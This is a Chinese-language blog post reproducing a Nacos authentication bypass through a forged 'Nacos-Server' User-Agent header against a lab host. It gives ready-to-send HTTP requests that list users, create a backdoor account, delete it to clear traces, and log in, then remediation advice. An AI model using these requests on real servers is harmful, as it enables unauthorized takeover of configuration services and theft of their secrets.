漏洞复现 - Nacos 未授权创建用户与后门操作

本文最后更新于 2025年7月14日 下午

📌 漏洞简介

Nacos 是阿里巴巴开源的一个动态服务发现、配置管理和服务管理平台。

  • 在部分版本(或因配置不当),管理端接口对 User-Agent 检测不严格,若请求头伪造为 Nacos-Server,可直接访问部分后端管理 API。
  • 攻击者可利用该逻辑漏洞:
    • 查看用户列表
    • 创建/删除用户
    • 后门账户登录后台
    • 横向访问配置

🗂️ 漏洞环境

  • 靶机示例:192.168.199.132:8848
  • 访问 Nacos 登录页:
    1
    http://192.168.199.132:8848/nacos/#/login

🚩 漏洞利用

✅ 1️⃣ 查看用户列表

通过伪造请求头 User-Agent: Nacos-Server 调用未授权接口获取全量账户信息:

1
2
3
4
5
6
GET /nacos/v1/auth/users/?pageNo=1&pageSize=999 HTTP/1.1
Host: 192.168.199.132:8848
User-Agent: Nacos-Server
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip

📌 访问示例:

1
http://192.168.199.132:8848/nacos/v1/auth/users?pageNo=1&pageSize=999

image-20250714124456581


✅ 2️⃣ 创建后门账户

直接调用用户新增接口,默认只要 User-Agent 正确,Nacos 会信任来源。

1
2
3
4
5
6
7
POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.199.132:8848
User-Agent: Nacos-Server
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=crow&password=crow

📌 访问示例:

1
http://192.168.199.132:8848/nacos/v1/auth/users?username=crow&password=crow
  • 新增账户:crow
  • 密码:crow

image-20250714124514241


✅ 3️⃣ 删除账户

若需要清理痕迹,可直接用同样的方式删除账户:

1
2
3
4
5
6
DELETE /nacos/v1/auth/users/?username=crow HTTP/1.1
Host: 192.168.199.132:8848
User-Agent: Nacos-Server
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip

✅ 4️⃣ 使用后门账户登录后台

登录地址:

1
http://192.168.199.132:8848/nacos/#/login

使用刚创建的账户登录:

  • 用户名:crow
  • 密码:crow

image-20250714124539444

至此可完全控制 Nacos 配置和服务注册信息。


🔍 漏洞危害

影响点:

  • 获取配置中心敏感信息,如数据库连接、Redis 密钥、服务调用密钥等。
  • 可插入恶意配置,劫持流量。
  • 横向移动至其他服务。

🛡️ 修复与防护

官方建议:

  • 升级 Nacos 至最新版(已修复部分接口信任逻辑)。
  • 修改默认 Token,关闭未使用的管理 API。
  • 前置网关限制管理接口访问(仅内网可访问)。
  • 检查 User-Agent 信任链,仅允许来自可信内网 IP。
  • 开启审计日志,及时发现异常账户创建行为。

🔗 参考


🚨 总结:此漏洞核心点在于“后端接口对伪造 User-Agent 信任”,务必内网隔离、严格鉴权、及时更新!